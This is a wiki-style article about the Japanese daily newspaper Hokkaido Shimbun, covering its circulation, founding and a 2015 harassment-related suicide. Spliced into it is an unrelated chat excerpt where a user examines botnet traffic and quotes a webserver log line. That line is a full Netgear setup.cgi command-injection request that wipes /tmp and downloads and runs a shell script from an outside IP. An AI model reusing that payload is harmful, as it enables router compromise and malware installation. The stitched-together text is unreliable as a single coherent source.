Hokkaido Shimbun

The Hokkaido Shimbun (北海道新聞, Hokkaidō Shinbun), which is often abbreviated as Doshin (道新, Dōshin), is a Japanese language daily newspaper published mainly in Hokkaidō, Japan by The Hokkaido Shimbun Press (株式会社北海道新聞社, Kabushiki-gaisha Hokkaidō Shinbunsha). As of November 2006, its morning edition has a circulation of 1,208,175.[1] It was first published in Sapporo in 1887.

The Hokkaido Shimbun
TypeDaily newspaper
FormatBlanket (54.6 cm x 40.65 cm)
Owner(s)The Hokkaido Shimbun Press
PublisherIkuo Kikuchi
FoundedJanuary 20, 1887
LanguageJapanese
HeadquartersSapporo
CirculationMorning edition: 1,223,184
Evening edition: 673,410
(Japan ABC, average for January–June 2005)
Websitewww.hokkaido-np.co.jp
Headquarters of the Hokkaido Shimbun Press in Sapporo.

2015 Sexual harassment suicide

At a 2014 year-end party a part-time nurse at the paper was sexually harassed by two members of the staff from the paper's general affairs department. Two months later she killed herself, after sending criticisms of the paper to 13 news organisations. The woman's family considered the paper to be responsible, and filed criminal complaints against the two staff members.[2]

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gollark: So now I'm actually wondering if this was a botnet programmed by edgy teenagers, or something.
gollark: I downloaded one of *those* to look at, and ran `strings` on it, and as well as what look like HTTP requests (presumably trying to exploit other devices), there are sets of strings like these:
gollark: I looked at the `.sh` file there, and it appears to just be trying to download and execute a bunch of binaries for different architectures.
gollark: So I was looking through my webserver logs, as you do, and I found a bunch of requests like this among the typical exploit-spam or whatever it is:```<> 91.80.163.224 [21/Aug/2020:00:10:44 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.95.168.247/Scylla.sh+-O+/tmp/Scylla.sh;sh+Scylla.sh&curpath=/&currentsetting.htm=1 HTTP/1.0" 200 31 "-" "-" ```

References
  1. According to the circulation report to Japan Audit Bureau of Circulations, on (in Japanese) Hokkaido Shimbun's corporate profile Archived 2007-01-04 at the Wayback Machine.
  2. Kimura, Kayoko December 10, 2015 Sexual harassment at bōnenkai, inept handling, a suicide Japan Times Retrieved December 11, 2015
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